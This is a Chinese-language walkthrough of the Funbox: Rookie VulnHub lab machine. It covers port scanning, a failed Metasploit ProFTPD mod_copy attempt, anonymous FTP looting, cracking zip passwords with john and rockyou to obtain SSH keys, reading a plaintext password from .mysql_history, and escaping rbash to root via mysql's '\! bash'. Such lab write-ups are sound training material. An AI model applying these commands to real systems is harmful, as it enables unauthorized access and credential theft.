一、靶机介绍

靶机地址:Funbox: Rookie ~ VulnHub

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息搜集
  • FTP服务漏洞
  • 密码爆破
  • SSH公钥认证
  • rbash逃逸
  • 本地提权

二、主机发现

arp-scan -l

靶机地址为:10.0.2.20

image-20241010161210809

三、端口扫描

nmap -p- 10.0.2.20 
nmap -p21,22,80 10.0.2.20 -sC -sV

靶机开放21,22,80分别对应ftp、ssh、web服务

其中ftp允许匿名登录

image-20241010161339565

四、ftp漏洞利用

4.1、proftpd漏洞利用尝试

使用searchsploit 搜索proftpd漏洞尝试 利用

searchsploit ProFTPD 1.3.5 
cp /usr/share/exploitdb/exploits/linux/remote/37262.rb . # 将脚本复制到当前路径
cp /usr/share/exploitdb/exploits/linux/remote/36803.py .
cp /usr/share/exploitdb/exploits/linux/remote/49908.py .
cp /usr/share/exploitdb/exploits/linux/remote/36742.txt .

脚本简介:
匿名用户可以复制任意文件。
描述:
远程主机正在运行 ProFTPD。受到 mod_copy 模块中漏洞的影响,该模块未按照预期遵守 配置。未经身份验证的远程攻击者可利用此问题,通过使用 mod_copy 模块的功能,以复制 FTP 目录中的任意文件,前提是启用了匿名登录和 mod_copy,并且可以从 Web 服务器中访问 FTP 目录。如果一个文件存在于包含 PHP 代码但未使用 PHP 扩展的 FTP 目录中,攻击者可以复制此文件至使用 PHP 扩展的目录中,以执行代码。

参考:https://zh-cn.tenable.com/plugins/nessus/132749

image-20241010161859804

4.2、msf攻击尝试

第一个脚本就是msf中的,所以利用msf进行攻击尝试

msfconsole						# 启动msf

image-20241010162802845

search proftpd					# 搜索漏洞	
use 4 # 指定payload
show info # 展示配置信息

image-20241010162935943

set RHOSTS 10.0.2.20				# 指定靶机地址
set SITEPATH /var/www/html # 设置网页后台路径
set payload cmd/unix/generic # 指定终端,由于不知道类型,所以使用通用的
set CMD id # 尝试执行id命令

image-20241010163521334

run						# 运行msf

发现利用失败

image-20241010163536573

五、ftp信息搜集

由于nmap扫描时看到可以匿名登录nmap

ftp 10.0.2.20
anonymous
ls -al
mget * # 将信息全部下载到kali中

image-20241010164331935

使用mget *下载时,不会将隐藏信息下载下来,需要手动下载一下

get .@users							# 下载隐藏信息
get .@admins

image-20241010164539614

image-20241010164435380

其他格式都是zip压缩包,而且需要密码

cat welcome.msg 
cat .@users
cat .@admins |base64 -d # 由于这个文本时base加密的,所以解码一下

welcome.msg就是一个邮件的模板,没有什么有用的信息

users中说小心keys,在名字对应的压缩包中

admins中说的也是这个意思

image-20241010164657523

六、压缩包密码爆破

上面说密码在压缩包中,但是压缩包解压也需要密码,所以先尝试爆破一下压缩包密码

cp /home/kali/桌面/rockyou.txt .			# 将字典复制到当前路径
zip2john anna.zip >anna.hash # 转换为hash格式
john anna.hash --wordlist=rockyou.txt # 进行爆破

发现这个压缩包密码爆破不出来,能爆破出来的只有两个压缩包

image-20241010165159812

zip2john cathrine.zip > cathrine.hash			# 将压缩包转为hash格式
john cathrine.hash --wordlist=rockyou.txt # 爆破

密码是这个:catwoman

image-20241010165527465

mkdir tom 			# 创建一个新的目录,因为压缩包中的内容都是id_rsa,怕名字一样会将文件直接替换掉
cd tom
cp /home/kali/桌面/20/tom.zip .
zip2john tom.zip > tom.hash
john tom.hash --wordlist=../rockyou.txt

发现密码是:iubire

只有这两个压缩包能爆破出去,其他的都爆破不出来

image-20241010165634339

unzip tom.zip			# 解压压缩包
iubire
cd ../
unzip cathrine.zip # 解压压缩包
iubire
ssh tom@10.0.2.20 -i id_rsa # ssh登录

七、SSH公钥登录

只用tom这个能登录上,另一个登录不上

image-20241010170352278

ls -al
cat .bash_history
cat .mysql_history

查看隐藏文件,查看历史命令执行记录

将\040替换为空格,可以明显看出来sql语句,在表中插入了一对账号和密码

tom:xx11yy22!

image-20241010170654408

sudo -s   			# 切换到管理员权限
xx11yy22! # 输入密码
echo $SHELL # 查看当前使用shell

拿着当前获取到的密码,尝试进行切换到管理员权限,发现登录成功,但是在使用cd命令切换目录是,发现切换失败了

查看当前的shell类型,发现是rbash类型

什么是 RBASH
RBASH 是 Restricted BASH 的缩写,意思是受限制的 BASH。

RBASH 是一种特殊的 shell,它限制了用户的一些操作和权限,例如:

不能使用 cd 命令来改变当前目录。

不能使用 set 命令来改变环境变量或 shell 选项。

不能使用 unset 命令来取消环境变量或 shell 函数。

不能使用任何包含 / 符号的命令,除非它们在 PATH 环境变量中指定了。

不能重定向输入或输出,例如使用 >, <, >>, << 等符号。

只能执行 PATH 环境变量中指定的命令,而且 PATH 环境变量通常只包含一些基本的命令,例如 ls, cat, echo 等。

RBASH 的目的是为了提高系统的安全性,防止用户执行一些危险或不合法的操作。

image-20241010171102017

八、rbash逃逸&&提权

有很多逃逸方式,参考这个:rbash逃逸大全 - 先知社区 (aliyun.com)

靶机这里使用的是mysql提权方式

由于刚才看见mysql的历史命令,猜测靶机中存在mysql

ps -aux |grep mysql				# 发现mysql是root权限
mysql -u tom -p # 登录mysql
xx11yy22!
\! bash # \! bash提权

image-20241010171408369

参考文章:28 FUNBOX: ROOKIE(完成) (yuque.com)